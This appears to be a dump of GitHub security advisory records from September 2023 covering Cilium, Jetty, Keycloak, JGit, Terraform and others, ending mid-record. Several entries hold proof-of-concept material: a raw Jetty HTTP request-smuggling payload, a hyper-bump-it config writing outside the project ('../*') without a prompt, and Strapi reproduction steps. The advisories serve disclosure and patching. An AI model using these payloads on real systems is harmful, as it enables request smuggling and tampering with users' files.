{'cwe_ids': ['CWE-862'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-04T16:36:40Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-24m5-r6hv-ccgp
|
2023-09-27T00:33:04Z
|
2023-09-27T00:33:04Z
| null |
['CVE-2023-41332']
|
Specific Cilium configurations vulnerable to DoS via Kubernetes annotations
|
### Impact
In Cilium clusters where Cilium's Layer 7 proxy has been disabled, creating workloads with
- `policy.cilium.io/proxy-visibility` annotations (in Cilium >= v1.13)
- `io.cilium.proxy-visibility` annotations (in Cilium <= v1.12)
causes the Cilium agent to segfault on the node to which the workload is assigned.
Existing traffic on the affected node will continue to flow, but the Cilium agent on the node will not able to process changes to workloads running on the node. This will also prevent workloads from being able to start on the affected node. The denial of service will be limited to the node on which the workload is scheduled, however an attacker may be able to schedule workloads on the node of their choosing, which could lead to targeted attacks.
### Patches
[Pull request with fix](https://github.com/cilium/cilium/pull/27597)
This issue affects:
Cilium <= v1.14.1
Cilium <= v1.13.6
Cilium <= v1.12.13
This issue has been resolved in:
Cilium v1.14.2
Cilium v1.13.7
Cilium v1.12.14
### Workarounds
Users can avoid this denial of service attack by enabling the Layer 7 proxy.
### For more information
If you have any questions or comments about this advisory, please reach out on [Slack](https://docs.cilium.io/en/latest/community/community/#slack).
As usual, if you think you found a related vulnerability, we strongly encourage you to report security vulnerabilities to our private security mailing list: [security@cilium.io](mailto:security@cilium.io) - first, before disclosing them in any public forums. This is a private mailing list where only members of the Cilium internal security team are subscribed to, and is treated as top priority.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.14.0'}, {'fixed': '1.14.2'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.12.14'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.13.0'}, {'fixed': '1.13.7'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/cilium/cilium/security/advisories/GHSA-24m5-r6hv-ccgp'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41332'}, {'type': 'WEB', 'url': 'https://github.com/cilium/cilium/pull/27597'}, {'type': 'PACKAGE', 'url': 'https://github.com/cilium/cilium'}]
|
{'cwe_ids': ['CWE-755'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-27T00:33:04Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-hmr7-m48g-48f6
|
2023-09-29T20:12:09Z
|
2023-09-14T16:17:27Z
| null |
['CVE-2023-40167']
|
Jetty accepts "+" prefixed value in Content-Length
|
### Impact
Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response.
### Workarounds
There is no workaround as there is no known exploit scenario.
### Original Report
[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling.
Payload:
```
POST / HTTP/1.1
Host: a.com
Content-Length: +16
Connection: close
0123456789abcdef
```
When sending this payload to Jetty, it can successfully parse and identify the length.
When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request.
This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty:jetty-http'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '9.0.0'}, {'fixed': '9.4.52'}]}], 'database_specific': {'last_known_affected_version_range': '<= 9.4.51'}}, {'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty:jetty-http'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '10.0.0'}, {'fixed': '10.0.16'}]}], 'database_specific': {'last_known_affected_version_range': '<= 10.0.15'}}, {'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty:jetty-http'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '11.0.0'}, {'fixed': '11.0.16'}]}], 'database_specific': {'last_known_affected_version_range': '<= 11.0.15'}}, {'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jetty:jetty-http'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '12.0.0'}, {'fixed': '12.0.1'}]}], 'versions': ['12.0.0']}]
|
[{'type': 'WEB', 'url': 'https://github.com/eclipse/jetty.project/security/advisories/GHSA-hmr7-m48g-48f6'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-40167'}, {'type': 'PACKAGE', 'url': 'https://github.com/eclipse/jetty.project'}, {'type': 'WEB', 'url': 'https://www.debian.org/security/2023/dsa-5507'}, {'type': 'WEB', 'url': 'https://www.rfc-editor.org/rfc/rfc9110#section-8.6'}]
|
{'cwe_ids': ['CWE-130'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-14T16:17:27Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-hq58-p9mv-338c
|
2023-09-29T20:38:40Z
|
2023-09-29T20:38:40Z
| null |
[]
|
CometBFT's default for `BlockParams.MaxBytes` consensus parameter may increase block times and affect consensus participation
|
## Amulet Security Advisory for CometBFT: ASA-2023-002
**Component**: CometBFT
**Criticality:** Low
**Affected versions:** All
**Affected users:** Validators, Chain Builders + Maintainers
# Summary
A default configuration in CometBFT has been found to be large for common use cases, and may affect block times and consensus participation when fully utilized by chain participants. It is advised that chains consider their specific needs for their use case when setting the `BlockParams.MaxBytes` consensus parameter. Chains are encouraged to evaluate the impact of having proposed blocks with the maximum allowed block size, especially on bandwidth usage and block latency. Additionally, the `timeout_propose` parameter should be computed using the maximum allowed block size as a reference. This issue does not represent an actively exploitable vulnerability that would result in a direct loss of funds, however it may have a slight impact on block latency depending on a network’s topography.
When setting a large `BlockParams.MaxBytes`, there are two main implications:
* Increased bandwidth to propagate a block
* Increased latency to propagate a block
When combined, this may result in less round participation, and in some cases additional rounds may be required to meet the consensus threshold, which could lead to timeouts depending on the topography of a network and environmental factors. These factors can include the number of validators on a network, geographic distribution, network connectivity (including latency, bandwidth, and reachability), the functionality of the modules implementing the logic for a transaction in your chain, etc. The cost to propagate a 21MB block, the default value for `BlockParams.MaxBytes`, will be far higher than the cost of propagating a smaller 1MB block. CometBFT recommends tuning this parameter to a smaller limit if full initial-round participation is an important quality for your chain.
# Considerations
CometBFT is designed to be configurable by chains, and implements many different configuration variables and parameters to allow chain developers, validators, node operators, and chain participants to customize it best to their use case. A high-performing validator may find it necessary to experiment with tuning local configuration, optimizing network and compute resources, and implementing controls to inhibit spam.
# Next Steps for Chains and Validators
To increase awareness of the potential impacts of this default parameter, the CometBFT team has updated the documentation (https://github.com/cometbft/cometbft/pull/1405, [v0.34.x](https://docs.cometbft.com/v0.34/spec/abci/apps#blockparamsmaxbytes), [v0.37.x](https://docs.cometbft.com/v0.37/spec/abci/abci++_app_requirements#blockparamsmaxbytes), [v0.38.x](https://docs.cometbft.com/v0.38/spec/abci/abci++_app_requirements#blockparamsmaxbytes)) for builders and maintainers of chain applications. Additionally, it is recommended that:
* Chain ecosystems and their maintainers set a `BlockParams.MaxBytes` configuration appropriate for their use case at the application level; in some cases, fine-tuning `BlockParams` may require a network upgrade.
* Chain ecosystems and their maintainers evaluate how gas is used and required on their chain, including gas and fee parameters, no-fee or fee-exempt message policies, and ensure that any custom modules integrate with the gas and fee frameworks. This is especially important for chains that may have implemented custom modules or functionality to allow IBC messages to bypass fees.
* Chain ecosystems and their maintainers audit all of their currently-set parameters and configurations to ensure that they are appropriate for their use case.
* All validators develop and implement anti-spam measures on their nodes. Amulet encourages validators to form working groups to collaborate on spam prevention and on tooling that can be implemented by node operators across the Interchain.
* All validators consider developing and implementing tooling that would allow them to sample incoming transactions to enable them to fine-tune the level of service they would like to provide to be resilient in slowdown scenarios. Amulet also encourages validators to collaborate on tooling that can be implemented by node operators across the Interchain.
The CometBFT team has also revisited all the checks performed by the consensus protocol regarding proposed blocks. This investigation has confirmed that proposed blocks with size exceeding the `BlockParams.MaxBytes` limit established by the application are not accepted by nodes. The team notwithstanding has decided to introduce additional sanity checks for the size of proposed blocks (https://github.com/cometbft/cometbft/pull/1408), allowing for an early identification and rejection of invalid or oversized blocks. These code changes will be included in the _next_ release of each branch of CometBFT.
As more chains adopt the Interchain Stack for new and cutting-edge use cases, the CometBFT team recommends that all chains regularly evaluate their parameters and configurations to ensure they meet the needs of their ecosystem as their networks mature.
For more information about CometBFT, see [https://docs.cometbft.com](https://docs.cometbft.com/).
This issue was raised by Notional labs, who reported it via the vulnerability disclosure channel at [security@interchain.io](mailto:security@interchain.io) on Friday, September 23, 2023. If you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see [https://hackerone.com/cosmos](https://hackerone.com/cosmos).
*****
Note from Amulet on the Security Advisory Process:
In the interest of timely resolution of this issue for validators and node operators, the Amulet team has chosen to use existing processes and resources for distributing security advisories within the Cosmos and Interchain Ecosystems. Stay tuned as we implement an improved, more robust security advisory distribution system that will provide equitable access to information about security issues in the Interchain Stack.
|
[]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/cometbft/cometbft'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '0.38.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/cometbft/cometbft/security/advisories/GHSA-hq58-p9mv-338c'}, {'type': 'WEB', 'url': 'https://github.com/cometbft/cometbft/pull/1405'}, {'type': 'WEB', 'url': 'https://docs.cometbft.com/v0.34/spec/abci/apps#blockparamsmaxbytes'}, {'type': 'WEB', 'url': 'https://docs.cometbft.com/v0.37/spec/abci/abci++_app_requirements#blockparamsmaxbytes'}, {'type': 'WEB', 'url': 'https://docs.cometbft.com/v0.38/spec/abci/abci++_app_requirements#blockparamsmaxbytes'}, {'type': 'PACKAGE', 'url': 'https://github.com/cometbft/cometbft'}]
|
{'cwe_ids': [], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-29T20:38:40Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-725m-w832-q973
|
2023-09-29T18:33:22Z
|
2023-09-21T06:30:25Z
| null |
['CVE-2015-8371']
|
Composer allows cache poisoning from other projects built on the same host
|
Composer before 2016-02-10 allows cache poisoning from other projects built on the same host. This results in attacker-controlled code entering a server-side build process. The issue occurs because of the way that dist packages are cached. The cache key is derived from the package name, the dist type, and certain other data from the package repository (which may simply be a commit hash, and thus can be found by an attacker). Versions through 1.0.0-alpha11 are affected, and 1.0.0 is unaffected.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'composer/composer'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.0'}]}], 'database_specific': {'last_known_affected_version_range': '<= 1.0.0-alpha11'}}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2015-8371'}, {'type': 'WEB', 'url': 'https://flyingmana.de/blog_en/2016/02/14/composer_cache_injection_vulnerability_cve_2015_8371.html'}, {'type': 'WEB', 'url': 'https://github.com/FriendsOfPHP/security-advisories/blob/e26be423c5bcfdb38478d2f92d1f928c15afb561/composer/composer/CVE-2015-8371.yaml'}, {'type': 'PACKAGE', 'url': 'https://github.com/composer/composer'}, {'type': 'WEB', 'url': 'https://gitlab.com/gitlab-org/advisories-community/-/blob/main/packagist/composer/composer/CVE-2015-8371.yml'}]
|
{'cwe_ids': ['CWE-345'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:20:59Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-xc27-f9q3-4448
|
2023-09-04T17:02:36Z
|
2023-09-04T17:02:36Z
| null |
['CVE-2023-41057']
|
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in hyper-bump-it
|
### Summary
`hyper-bump-it` reads a file glob pattern from the configuration file. That is combined with the project root directory to construct a full glob pattern that is used to find files that should be edited. These matched files should be contained within the project root directory, but that is not checked. This could result in changes being written to files outside of the project.
The default behaviour of `hyper-bump-it` is to display the planned changes and prompt the user for confirmation before editing any files. However, the configuration file provides a field that can be used cause files to be edited without displaying the prompt.
### Details
The vulnerability is present in
https://github.com/plannigan/hyper-bump-it/blob/49c726201bbdc02c052302e03fd907d2170e1f47/hyper_bump_it/_hyper_bump_it/files.py#L35
That code joins the project root directory with a string read from the configuration file without checking if the final path is located outside the project root directory.
The following configuration file contents would cause `hyper-bump-it` to replace every instance of "hello" in every file adjacent to the project root directory with "world". The line setting `show_confirm_prompt` to `false` is not required, but will result in the user file edits to occur without the user having a chance to reject the changes (The fact that changes happened would still be displayed).
```toml
[hyper-bump-it]
current_version = "1.2.3"
show_confirm_prompt=false
[[hyper-bump-it.files]]
file_glob = "../*"
search_format_pattern = "hello"
replace_format_pattern = "world"
```
### Patches
A fix that been released as part of v0.5.1. The changes can be view as part of PR #307.
### Workarounds
Users that are unable to update from vulnerable versions, executing `hyper-bump-it` with the `--interactive` command line argument will ensure that all planned changes are displayed and prompt the user for confirmation before editing any files, even if the configuration file contains `show_confirm_prompt=true`.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'hyper-bump-it'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.5.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/plannigan/hyper-bump-it/security/advisories/GHSA-xc27-f9q3-4448'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41057'}, {'type': 'WEB', 'url': 'https://github.com/plannigan/hyper-bump-it/pull/307'}, {'type': 'PACKAGE', 'url': 'https://github.com/plannigan/hyper-bump-it'}]
|
{'cwe_ids': ['CWE-22'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-04T17:02:36Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-m284-85mf-cgrc
|
2023-09-13T16:31:43Z
|
2023-09-13T16:31:43Z
| null |
['CVE-2023-37263']
|
Strapi's field level permissions not being respected in relationship title
|
### Summary
Field level permissions not being respected in relationship title.
If I have a relationship title and the relationship shows a field I don't have permission to see I will still be visible.
### Details
No RBAC checks on on the relationship the relation endpoint returns
### PoC
#### Setup
Create a fresh strapi instance
Create a new content type
in the newly created content type add a relation to the users-permissions user.
Save.
Create a users-permissions user
Use your created content type and create an entry in it related to the users-permisisons user
Go to settings -> Admin panel -> Roles -> Author
Give the author role full permissions on the content type your created.
Make sure they don't have any permission to see User
Save
Create a new admin account with only the author role
#### CVE
login on the newly created author acount.
go to the content manager to the colection type you created with the relationship to users_permissions_user
You now see a field you don't have permissions to view.
### Impact
RBAC field level checks leaks data selected by the admin user as relationship title
What could be sensitive fields that they should not be allowed to see. by the person having this specific role.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'npm', 'name': '@strapi/plugin-content-manager'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.12.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/strapi/strapi/security/advisories/GHSA-m284-85mf-cgrc'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-37263'}, {'type': 'PACKAGE', 'url': 'https://github.com/strapi/strapi'}, {'type': 'WEB', 'url': 'https://github.com/strapi/strapi/releases/tag/v4.12.1'}]
|
{'cwe_ids': ['CWE-200'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-13T16:31:43Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-fcv6-fg5r-jm9q
|
2023-09-04T22:40:41Z
|
2023-09-04T22:40:41Z
| null |
['CVE-2023-41058']
|
Trigger `beforeFind` not invoked in internal query pipeline when fetching pointer
|
### Impact
A Parse Pointer can be used to access internal Parse Server classes. It can also be used to circumvent the `beforeFind` query trigger which can be an additional vulnerability for deployments where the `beforeFind` trigger is used as a security layer to modify an incoming query.
### Patches
The vulnerability was fixed by implementing a patch in the internal query pipeline to prevent a Parse Pointer to be used to access internal Parse Server classes or circumvent the `beforeFind` trigger.
### Workarounds
There is no known workaround to prevent a Parse Pointer to be used to access internal Parse Server classes. A workaround if a `beforeFind` trigger is used as a security layer is to instead use the Parse Server provided [security layers](https://docs.parseplatform.org/parse-server/guide/#security) to manage access levels with Class-Level Permissions and Object-Level Access Control.
### References
- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-fcv6-fg5r-jm9q
- Patched in Parse Server 6.x: https://github.com/parse-community/parse-server/releases/tag/6.2.2
- Patched in Parse Server 5.x (LTS): https://github.com/parse-community/parse-server/releases/tag/5.5.5
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'parse-server'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.0'}, {'fixed': '5.5.5'}]}]}, {'package': {'ecosystem': 'npm', 'name': 'parse-server'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '6.0.0'}, {'fixed': '6.2.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/parse-community/parse-server/security/advisories/GHSA-fcv6-fg5r-jm9q'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41058'}, {'type': 'WEB', 'url': 'https://github.com/parse-community/parse-server/commit/be4c7e23c63a2fb690685665cebed0de26be05c5'}, {'type': 'WEB', 'url': 'https://docs.parseplatform.org/parse-server/guide/#security'}, {'type': 'PACKAGE', 'url': 'https://github.com/parse-community/parse-server'}, {'type': 'WEB', 'url': 'https://github.com/parse-community/parse-server/releases/tag/5.5.5'}, {'type': 'WEB', 'url': 'https://github.com/parse-community/parse-server/releases/tag/6.2.2'}]
|
{'cwe_ids': ['CWE-670'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-04T22:40:41Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-7vff-rv2f-cj79
|
2023-09-29T20:38:50Z
|
2023-09-28T15:30:17Z
| null |
['CVE-2023-43884']
|
Subrion CMS Cross-site Scripting vulnerability
|
A Cross-site scripting (XSS) vulnerability in Reference ID from the panel Transactions, of Subrion v4.2.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into 'Reference ID' parameter.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'intelliants/subrion'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '4.2.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43884'}, {'type': 'WEB', 'url': 'https://github.com/dpuenteramirez/XSS-ReferenceID-Subrion_4.2.1'}, {'type': 'PACKAGE', 'url': 'https://github.com/intelliants/subrion'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-29T20:38:50Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-3q5p-3558-364f
|
2023-09-11T14:39:57Z
|
2023-09-08T13:27:21Z
| null |
['CVE-2023-41338']
|
Fiber unauthorized access vulnerability in `ctx.IsFromLocal()`
|
### Impact
This vulnerability can be categorized as a security misconfiguration. It impacts users of our project who rely on the [ctx.IsFromLocal()](https://docs.gofiber.io/api/ctx#isfromlocal) method to restrict access to localhost requests. If exploited, it could allow unauthorized access to resources intended only for localhost.
In it's implementation it uses c.IPs():
```go
// IPs returns a string slice of IP addresses specified in the X-Forwarded-For request header.
// When IP validation is enabled, only valid IPs are returned.
func (c *Ctx) IPs() []string {
return c.extractIPsFromHeader(HeaderXForwardedFor)
}
```
Thereby, setting `X-Forwarded-For: 127.0.0.1` in a request from a foreign host, will result in true for [ctx.IsFromLocal()](https://docs.gofiber.io/api/ctx#isfromlocal)
### Patches
This issue has been patched in `v2.49.2` with commit [b8c9ede6efa231116c4bd8bb9d5e03eac1cb76dc](https://github.com/gofiber/fiber/commit/b8c9ede6efa231116c4bd8bb9d5e03eac1cb76dc)
### Workarounds
Currently, there are no known workarounds to remediate this vulnerability without upgrading to the patched version. We strongly advise users to apply the patch as soon as it is released.
### References
For further information and context regarding this security issue, please refer to the following resources:
- [Mozilla Developer Network - X-Forwarded-For](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/gofiber/fiber'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.14.6'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/gofiber/fiber/v2'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.49.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/gofiber/fiber/security/advisories/GHSA-3q5p-3558-364f'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41338'}, {'type': 'WEB', 'url': 'https://github.com/gofiber/fiber/commit/b8c9ede6efa231116c4bd8bb9d5e03eac1cb76dc'}, {'type': 'WEB', 'url': 'https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For'}, {'type': 'WEB', 'url': 'https://docs.gofiber.io/api/ctx#isfromlocal'}, {'type': 'PACKAGE', 'url': 'https://github.com/gofiber/fiber'}]
|
{'cwe_ids': ['CWE-670'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-08T13:27:21Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-5q66-v53q-pm35
|
2023-09-12T21:10:37Z
|
2023-09-12T21:10:37Z
| null |
['CVE-2023-4918']
|
Keycloak vulnerable to Plaintext Storage of User Password
|
A flaw was discovered in Keycloak Core package. When a user registers itself through registration flow, the "password" and "password-confirm" field from the form will occur as regular attributes in the users attributes. The password is also created, but the user attributes must not be there. This way, any entities (all users and clients with proper rights/roles) are able to retrieve the users passwords in clear-text.
### Impact
Passwords for self-registered users are stored as cleartext attributes associated with the user.
### Mitigation
Disable self-registration for users in all realms until patched.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.keycloak:keycloak-core'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '22.0.2'}, {'fixed': '22.0.3'}]}], 'versions': ['22.0.2']}]
|
[{'type': 'WEB', 'url': 'https://github.com/keycloak/keycloak/security/advisories/GHSA-5q66-v53q-pm35'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-4918'}, {'type': 'WEB', 'url': 'https://access.redhat.com/security/cve/CVE-2023-4918'}, {'type': 'WEB', 'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=2238588'}, {'type': 'PACKAGE', 'url': 'https://github.com/keycloak/keycloak'}]
|
{'cwe_ids': ['CWE-256', 'CWE-319'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-12T21:10:37Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-3p86-9955-h393
|
2023-09-18T19:17:54Z
|
2023-09-18T15:30:18Z
| null |
['CVE-2023-4759']
|
Arbitrary File Overwrite in Eclipse JGit
|
Arbitrary File Overwrite in Eclipse JGit <= 6.6.0
In Eclipse JGit, all versions <= 6.6.0.202305301015-r, a symbolic link present in a specially crafted git repository can be used to write a file to locations outside the working tree when this repository is cloned with JGit to a case-insensitive filesystem, or when a checkout from a clone of such a repository is performed on a case-insensitive filesystem.
This can happen on checkout (DirCacheCheckout), merge (ResolveMerger via its WorkingTreeUpdater), pull (PullCommand using merge), and when applying a patch (PatchApplier). This can be exploited for remote code execution (RCE), for instance if the file written outside the working tree is a git filter that gets executed on a subsequent git command.
The issue occurs only on case-insensitive filesystems, like the default filesystems on Windows and macOS. The user performing the clone or checkout must have the rights to create symbolic links for the problem to occur, and symbolic links must be enabled in the git configuration.
Setting git configuration option core.symlinks = false before checking out avoids the problem.
The issue was fixed in Eclipse JGit version 6.6.1.202309021850-r and 6.7.0.202309050840-r, available via Maven Central https://repo1.maven.org/maven2/org/eclipse/jgit/ and repo.eclipse.org https://repo.eclipse.org/content/repositories/jgit-releases/ .
The JGit maintainers would like to thank RyotaK for finding and reporting this issue.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.eclipse.jgit:org.eclipse.jgit'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '6.6.1.202309021850-r'}]}], 'database_specific': {'last_known_affected_version_range': '<= 6.6.0.202305301015-r'}}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-4759'}, {'type': 'PACKAGE', 'url': 'https://git.eclipse.org/c/jgit/jgit.git'}, {'type': 'WEB', 'url': 'https://git.eclipse.org/c/jgit/jgit.git/commit/?id=9072103f3b3cf64dd12ad2949836ab98f62dabf1'}, {'type': 'WEB', 'url': 'https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/11'}, {'type': 'WEB', 'url': 'https://projects.eclipse.org/projects/technology.jgit/releases/6.6.1'}]
|
{'cwe_ids': ['CWE-178'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-18T19:17:54Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-h626-pv66-hhm7
|
2023-09-08T19:43:48Z
|
2023-09-08T18:30:29Z
| null |
['CVE-2023-4782']
|
Terraform allows arbitrary file write during the `init` operation
|
Terraform version 1.0.8 through 1.5.6 allows arbitrary file write during the `init` operation if run on maliciously crafted Terraform configuration. This vulnerability is fixed in Terraform 1.5.7.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:H/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/hashicorp/terraform'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.8'}, {'fixed': '1.5.7'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-4782'}, {'type': 'WEB', 'url': 'https://github.com/hashicorp/terraform/pull/33745'}, {'type': 'WEB', 'url': 'https://github.com/hashicorp/terraform/commit/0f2314fb62193c4be94328cc026fcb7ec1e9b893'}, {'type': 'WEB', 'url': 'https://discuss.hashicorp.com/t/hcsec-2023-27-terraform-allows-arbitrary-file-write-during-init-operation/58082'}, {'type': 'PACKAGE', 'url': 'https://github.com/hashicorp/terraform'}, {'type': 'WEB', 'url': 'https://github.com/hashicorp/terraform/releases/tag/v1.5.7'}]
|
{'cwe_ids': ['CWE-22'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-08T19:43:48Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-262f-77q5-rqv6
|
2023-09-21T21:37:54Z
|
2023-09-20T18:30:21Z
| null |
['CVE-2023-43499']
|
Jenkins Build Failure Analyzer Plugin Cross-site Scripting vulnerability
|
